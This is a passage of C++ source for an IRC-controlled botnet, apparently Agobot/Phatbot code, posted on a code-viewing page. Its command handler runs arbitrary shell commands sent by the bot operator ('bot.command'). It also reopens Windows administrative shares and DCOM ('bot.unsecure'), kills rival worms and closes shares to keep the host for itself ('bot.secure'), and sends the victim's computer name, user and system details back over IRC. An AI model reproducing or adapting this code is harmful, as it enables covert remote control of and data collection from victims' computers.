?? bot.cpp.svn-base
字號:
sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr));
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }
if(!pHostent) {
sReply.Format("couldn't resolve host \"%s\"!", pMsg->sChatString.Token(1, " ").CStr());
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }
else if(!pMsg->sCmd.Compare("bot.about")) {
CString sReplyBuf; sReplyBuf.Format("%s", g_pMainCtrl->m_sNameVerStr.CStr());
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); }
else if(!pMsg->sCmd.Compare("bot.id")) {
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); }
else if(!pMsg->sCmd.Compare("bot.nick")) {
g_pMainCtrl->m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr());
g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", g_pMainCtrl->m_sUserName.CStr());
return true; }
else if(!pMsg->sCmd.Compare("bot.quit") || !pMsg->sCmd.Compare("bot.die")) {
g_pMainCtrl->m_cIRC.m_bRunning=false; return true; }
else if(!pMsg->sCmd.Compare("bot.sysinfo")) {
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); }
else if(!pMsg->sCmd.Compare("bot.longuptime")) {
int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7;
CString sUptime=LongUptime(iDays);
if(sUptime.Compare("")) {
g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
sUptime.Str(), pMsg->sReplyTo.Str()); }
return true; }
else if(!pMsg->sCmd.Compare("bot.highspeed")) {
int iSpeed=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iSpeed) iSpeed=10000;
CString sSpeed=g_pMainCtrl->m_cStartupThread.m_speedData.lTotalSpeed;
if (iSpeed <= atoi(sSpeed.CStr()))
{
if(sSpeed.Compare("")) {
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, \
pMsg->sReplyTo.Str(), "Speed: %s kbit/s", sSpeed.Str()); }
}
return true; }
else if(!pMsg->sCmd.Compare("bot.status")) {
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, Status().Str(), pMsg->sReplyTo.Str()); }
else if(!pMsg->sCmd.Compare("bot.rndnick")) {
CString sRndNick=RndNick(si_nickprefix.sValue.CStr());
g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", sRndNick.CStr());
g_pMainCtrl->m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr());
return true; }
else if(!pMsg->sCmd.Compare("bot.flushdns")) {
#ifdef WIN32
Execute("ipconfig.exe", "/flushdns");
#else
Execute("nscd", "-i hosts");
#endif // WIN32
return true; }
else if(!pMsg->sCmd.Compare("bot.secure")) {
#ifdef WIN32
// Set EnableDCOM to "N"
HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf);
LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
RegCloseKey(hkey);
/* begin removal of (most)Bagle/(some)MyDoom */
lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
RegDeleteValue(hkey, "Ssate.exe");
RegCloseKey(hkey);
KillProcess("irun4.exe");
CString tmpBagle; GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"irun4.exe");
DeleteFile(tmpBagle);
lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
RegDeleteValue(hkey, "rate.exe");
RegCloseKey(hkey);
KillProcess("i11r54n4.exe");
GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"i11r54n4.exe");
DeleteFile(tmpBagle);
lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
RegDeleteValue(hkey, "ssate.exe");
RegCloseKey(hkey);
KillProcess("winsys.exe");
GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"winsys.exe");
DeleteFile(tmpBagle);
lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
RegDeleteValue(hkey, "d3dupdate.exe");
RegCloseKey(hkey);
KillProcess("bbeagle.exe");
GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"bbeagle.exe");
DeleteFile(tmpBagle);
lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
RegDeleteValue(hkey, "TaskMon");
RegCloseKey(hkey);
KillProcess("taskmon.exe");
GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"taskmon.exe");
DeleteFile(tmpBagle);
lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
RegDeleteValue(hkey, "Explorer");
RegCloseKey(hkey);
/* end removal of (most)Bagle/(some)MyDoom */
/* begin removal of suspicious exe/services */
ServiceDel((CString)"upnphost"); // secure UPNP
/* end removal of suspicious exe/services */
// Secure Shares
system("net share c$ /delete /y");
system("net share d$ /delete /y");
system("net share ipc$ /delete /y");
system("net share admin$ /delete /y");
g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
"Bot Secured", pMsg->sReplyTo.Str());
#endif
return true; }
else if(!pMsg->sCmd.Compare("bot.unsecure")) {
#ifdef WIN32
// Set EnableDCOM to "Y"
HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf);
LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
RegCloseKey(hkey);
// UnSecure Shares
system("net share c$=c:\\");
system("net share d$=d:\\");
system("net share e$=e:\\");
system("net share ipc$");
system("net share admin$");
g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
"Bot UnSecured", pMsg->sReplyTo.Str());
#endif
return true; }
else if(!pMsg->sCmd.Compare("bot.command")) {
#ifdef WIN32
if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
CString sReplyBuf; sReplyBuf.Format("command (%s) executed.", sText.CStr());
if(system(sText.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute command.", pMsg->sReplyTo.Str()); return false; }
else { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); return false; }
#endif
return true; }
return false; }
CString CBot::SysInfo()
{ CString sSysInfo;
#ifdef WIN32
int total=GetTickCount()/1000;
MEMORYSTATUS memstat; OSVERSIONINFO verinfo;
char szBuffer[MAX_COMPUTERNAME_LENGTH + 1];
DWORD dwNameSize = MAX_COMPUTERNAME_LENGTH + 1;
char *szCompname;
TCHAR szUserName[21];
DWORD dwUserSize = sizeof(szUserName);
GlobalMemoryStatus(&memstat); verinfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&verinfo); char *os; char os2[140];
if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==0)
{ if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS) os="95";
if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT) os="NT"; }
else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==10) os="98";
else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==90) os="ME";
else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==0) os="2000";
else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==1) os="XP";
else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==2) os="2003";
else os="???";
if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT && verinfo.szCSDVersion[0]!='\0')
{ sprintf(os2, "%s [%s]", os, verinfo.szCSDVersion); os=os2; }
GetComputerName(szBuffer, &dwNameSize);
szCompname = szBuffer;
GetUserName(szUserName, &dwUserSize);
// *** PhaTTy <MOD> Changed ram: to ##MB/##MB , added box: , added user: </MOD>
sSysInfo.Format("cpu: %dMHz ram: %dMB/%dMB os: %s up: %dd %dh %dm box: %s freespace: %s",
cpuspeed(), memstat.dwAvailPhys/1046528, memstat.dwTotalPhys/1046528, os, total/86400, (total%86400)/3600, ((total%86400)%3600)/60, szCompname, GetFreeDiskSpace().CStr());
#else
FILE *fp=fopen("/proc/uptime", "r");
float f1, f2;
if(!fp) return CString("Error: Can't open /proc/uptime!");
if(fscanf(fp, "%f %f", &f1, &f2)<2) return CString("Error: Invalid or changed /proc/uptime format!");
fclose(fp);
int days, hours, minutes;
days=((abs((int)f1)/60)/60)/24;
hours=((abs((int)f1)/60)/60)%24;
minutes=(abs((int)f1)/60)%60;
int iDistro=GetDistro(); char *szVersion; char *szKVersion;
bool bGotVer=GetVersion(&szVersion, iDistro);
bool bGotKVer=GetKVersion(&szKVersion, iDistro);
if(!bGotVer) szVersion="Unknown\n"; if(!bGotKVer) szKVersion="Unknown\n";
sSysInfo.Format("cpu: %dMHz. os: %s. kernel: %s. uptime: %dd %dh %dm", cpuspeed(), szVersion, szKVersion, days, hours, minutes);
if(bGotVer) free(szVersion); if(bGotKVer) free(szKVersion);
#endif
return sSysInfo; }
int CBot::UptimeDays() {
#ifdef WIN32
int total=GetTickCount()/1000;
OSVERSIONINFO verinfo;
return total/86400;
#else
FILE *fp=fopen("/proc/uptime", "r");
float f1, f2; if(!fp) return 0;
if(fscanf(fp, "%f %f", &f1, &f2)<2) { fclose(fp); return 0; }
return ((abs((int)f1)/60)/60)/24;
#endif // WIN32
}
CString CBot::LongUptime(int iDays) // If uptime > iDays days then bot will reply with uptime stats. - PhaTTy
{ CString sLongUptime;
if (iDays == 0) return false;
int total=GetTickCount()/1000;
if(total/86400 >= iDays) sLongUptime.Format("uptime: %dd %dh %dm",total/86400, (total%86400)/3600, ((total%86400)%3600)/60);
else return CString("");
return sLongUptime; }
CString CBot::Status()
{ CString sStatus; unsigned long total, days, hours, minutes; total=(GetTickCount()/1000)-m_lStartTime;
days=total/86400; hours=(total%86400)/3600; minutes=((total%86400)%3600)/60;
sStatus.Format("%s ready. Up %dd %dh %dm.", g_pMainCtrl->m_sNameVerStr.CStr(), days, hours, minutes); return sStatus; }
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -